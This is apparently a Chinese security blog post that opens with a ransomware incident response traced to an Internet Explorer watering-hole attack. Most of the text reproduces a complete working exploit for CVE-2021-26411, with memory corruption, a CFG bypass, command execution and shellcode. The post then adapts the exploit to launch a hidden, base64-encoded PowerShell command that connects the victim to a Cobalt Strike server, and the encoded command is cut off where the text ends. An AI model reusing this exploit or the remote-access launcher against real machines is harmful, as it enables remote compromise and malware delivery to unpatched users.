应急响应|由一次勒索病毒应急响应浅谈hw中IE钓鱼的可能性

2022010217590385

一、简介

上周到某公司进行勒索病毒的溯源,说来也是倒霉,这家公司一年中了三次勒索病毒了,属实惨兮兮。经过排查发现这个遇到的勒索病毒跟之前遇到的不太一样,并不是通过常规暴力破解SMB,RDP服务进行扩散的,而是通过IE浏览器的漏洞,远程加载恶意程序,文件不落地的形式进行的投毒,所以才有了此文。

二、勒索病毒应急溯源

2.1 常规分析

从勒索病毒应急响应的经验初步判断可能是此台PC违规开放的端口(445,3389)遭受到了外网爆破,但是通过日志查看工具evtxLogparse发现此台中病毒的PC并没有遭受暴力破解,常规高危端口也没有开放
00c6eda41a3b8070a77990a2c65ff796909

2.2 转换思路

因为中毒PC为windows7系统,且使用较老版本的IE浏览器,怀疑是受害者点击了恶意链接后跳转至投毒域名,利用IE漏洞CVE-2021-26411进行RCE病毒投放。利用工具browsinghistoryview以xls格式导出浏览器记录
00c6eda41a3b8070a77990a2c65ff7961490
发现两条可疑访问记录,域名0v2726xb2736ad7z.gosgrew.quest的命名方式无规则,很像是随机命名的
00c6eda41a3b8070a77990a2c65ff7961999
通过在线情报查询,可以发现此域名注册时间很短。经过排查,初步判断此台PC中勒索病毒的过程是这样的:攻击者很可能采用了水坑攻击的方式,受害者在不知情的情况下访问了http://eudoxia-myr.com/favicon.ico(或者http://eudoxia-myr.com下的某一链接)此网站是已经被黑客入侵过的网站,访问此网站某些链接会直接跳转到恶意投毒域名(http://0v2726xb2736ad7z.gosgrew.quest/)利用IE漏洞CVE-2021-26411进行RCE投毒。

三、两种IE浏览器漏洞利用方式

3.1 CVE-2021-26411(Internet Explorer内存损坏漏洞)

3.1.1 漏洞简介

CVE-2021-26411可以作为一种新型传播勒索病毒的方式,漏洞原理就是远程代码执行,可以调用windows API或者shellcode

3.1.2 影响范围

Internet Explorer 11(IE8亲测是不行的)
Microsoft Edge   (EdgeHTML-based)

Windows 7 SP1
Windows 8.1
Windows RT 8.1
Windows 10 Version 1607, 1803,1809,   1909, 2004,20H2
Windows Server 2008 SP2
Windows Server 2008 R2 SP1
Windows Server 2012, 2012 R2, 2016, 2019
Windows Server version 1909, 2004,20H2

3.1.3 利用条件

用户认证:不需要用户认证
触发方式:远程

3.1.4 漏洞复现

直接借鉴了网上的POC

//https://www.52pojie.cn/thread-1434380-1-1.html

<!-- IE Double Free 1Day Poc -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">

// 重复字符串
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    // 提取倒数第四个字符开始的字符串,效果就是补0
    return ('0000' + str).slice(-4)
}

// Access of Resource Using Incompatible Type ('Type Confusion')
function alloc1() {
    // DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    // 创建并返回一个新的属性节点
    var result = document.createAttribute('alloc')
    // 对escape()编码的字符串进行解码
    result.nodeValue = unescape(str)
    return result
}

function alloc2() {
    // 创建字典对象
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    // 增加新项,dic.add(key,value)
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}

function dump(nv) {
    // ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。
    // 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}

// 在原型对象上定义属性
function Data(type, value) {
    this.type = type
    this.value = value
}

function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}

function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    // 返回调用该方法的节点的一个副本.
    hd2 = hd1.cloneNode()
}

// 小端序读取
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            // getUint16(byteOffset [, littleEndian])
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}

function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}

function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}

function strcmp(str1, str2) {
    // typeof 操作符返回一个字符串,表示未经计算的操作数的类型。
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}

function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}

function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        // 遇到终结符就退出循环
        if (c == 0) break
        // 返回由指定的 UTF-16 代码单元序列创建的字符串
        str += String.fromCharCode(c)
        addr++
    }
    return str
}

function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    // 写入字符串终结符
    write(buffer + i, 0, 8)
    return buffer
}
// PE文件相关操作函数
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}

function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}

function winVer() {
    // 返回浏览器的平台和版本信息
    var appVersion = window.navigator.appVersion
    var ver = 0
    // 检测一个字符串是否匹配某个模式,javaScript正则表达式
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}

function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    // 设置键值对
    map.set(bs, ab)
    return bs
}

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}

function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}

function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}

function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}

function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}

function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    // 错误处理
    try {
        // rpcrt4!NdrServerCall2
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}

function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}

function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}

function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}

// 自定义结构体的操作
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}

// 构造RPC
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}

function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}

function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })

    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}

function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
    // 关闭rpcrt4的CFG检查
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

// {} 表示对象
// 属性:属性值
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})

var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})

var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})

var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    // 保存了runtime库和Stub函数的接口指针
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    // 指向MIDL_SERVER_INFO结构
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})

// 保存了服务端IDL接口信息
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    // 保存了服务端提供的远程调用例程的函数指针数组
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})

var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})

var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})

var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    // 存放函数的参数
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    // 指向RPC_SERVER_INTERFACE 
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})

var god
// 对象数组
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
// 创建一个HTML 属性对象
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
// 创建一个HTML 元素对象
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // 回调时,清除ele对象绑定的所有属性
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// 触发valueof函数回调
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)

// 调用API,弹出计算器
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

// 调用shellcode
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))

</script>
</body>
</html>

本地测试环境如下:
00c6eda41a3b8070a77990a2c65ff79624503
测试效果如下:
00c6eda41a3b8070a77990a2c65ff79624959

3.1.5 POC改造

上面的POC是通过两种方式进行的函数调用:APIshellcode,我暂时只调用了windows API
原有POC在686-589行调用了API

// 调用API,弹出计算器
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

这里是通过WinExec这个API函数进行的命令执行,既然如此我们也可以利用WinExec去执行cmd命令。关于WinExec如何使用可以参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-winexec

把calc.exe替换为whoami命令

// 调用API,利用cmd执行net user命令
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('cmd.exe /k whoami'),5])

00c6eda41a3b8070a77990a2c65ff79626123

3.1.6 实战利用

既然可以通过IE远程执行cmd命令,那么也就可以通过cmd调用powershell command上线CS,话不多说试一下(这里没有做免杀)

// 调用API,利用cmd执行net user命令
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('cmd.exe /k powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAWABhADQALwBpAE8AaABMADkAMwBQAHkASwBmAEcAZwBKAG8AcQBHADUAUQBLAEEAZgBzAHgAcABwAGsAawBBAGcAUQBOAEoAQQBlAEgATgBSAHkAOQBnAG0AaABNADYATAB4AEMARwBFAE8ALwBQAGYAdAB4AEsAZwBiADgAOQBPAHoAKwA1AEkAdQA0AHMAVQA0AGQAaABWADUAYQBwAFQAeAArAFcASwBRAGQAbQBkAHcAUQBJAEwATQA4ADAAagBsAEwAdQBiADAAQwBDADAAUABKAGUAcgA1AG4ASwAzAEQAVQA5AGwAMwBCAGYAdQBhAHoANgAzAGkAVgB6AE0AMAB1AGwAMAA4AEcASgBTADkAdQBJAEgASABuADUAQgBoAEEAUQAwAEQATABtAC8AYwBqAGQAOQBGAEMAQwBIAEsAOQB3AGUAVQBQAEQAaQBlAEMAUwB5AGEAWgBIAEwAWABsAEoAQgBTAHEASwBBADgAagBjADMAdQBaAHQAcwBLAG4ASgBEAHQASwBFAHYATABtAEwAVwBnAGIANAA0AGwARwAwADkARQBzAEoARwBoAGEAWABvACsAdwAzAFAAUQBaAGEANwArAHYAeABaAGoAbwBLAEEAdQB1AHoAOABYAG0AcABSAEoAbwBZAGgAZABkAGEAMgBSAGMATQBDAHoAMwAzAGoAcABsAHMAYQAwAEwAdgBuADkAWQA1AGkAeAB2ADMARgAzAGIANgBVAFcAcgBhADMAUgB2AFoARgBMAEoARQBSADMAawBKAEEAbwBrAHYAUwB0AFoANgBIAFUAUgBwAEIAeQBmAEIAdABpAHgAWAB5AGYALwA2AFoANQA1AGQAMwBsAFYAVwBwAHUAWQArAFEASABSAGIAeQBSAGgASQB5ADYAcABTAEkAYgBlAGQANQA3AGoAdQBmAGIAagBoAEsAZgBGAHIASQBhAHgAWQBPAHYATgBEAGIAcwBOAEwAVQBjAG8AVgBxAGEAWgB4ADUAcgAyAGYATwBhADIAZgBmADgALwB3AGwATQB0AE4ASABFAE0AZQB2AGcAMAB5AHQAbgBuAFUASwBlAFIAagAyAEEAUgB2AHgAagBHAEcAKwB5AEMAMwBUAC8AWgBhAHIARgBmAGYAMQB6AFoAdABoADUARABMAEwAbwBTAFgAVgBaAFQAVAB3AGYASQBNAEcAQgB3AHYAVABzAE4AUgBHAEwAcgBIAHAAawBHADUAQQBMAFIAOQBDACsAbAB3AHoAegA0AE0AVABBAFcAVgBSADQASABKAFgAWAAwAEQAdgA0AEwAMwBTAHcAcQAwAGIAMgBYAFkAUgA3AEMANQAvADEAKwA2AHEAbwBOAFAANABDAHUANwB2AEsAaABYAGUASwA0AEYAVQBuAHcAVgA4ADgAYwBLAEoAMwA0AEYARAB5ADMAaAB6AE4AZwBmAGgALwBPAFQAOQBPADMATAB4ADgAUAB1AEoAWQBIAHoAdQBlACsANABEAHEAaABKAHEAVQB4AE0AeAArAHMASQBBADMAMwBkAGMAegBkADMAYwBMAEwATQBo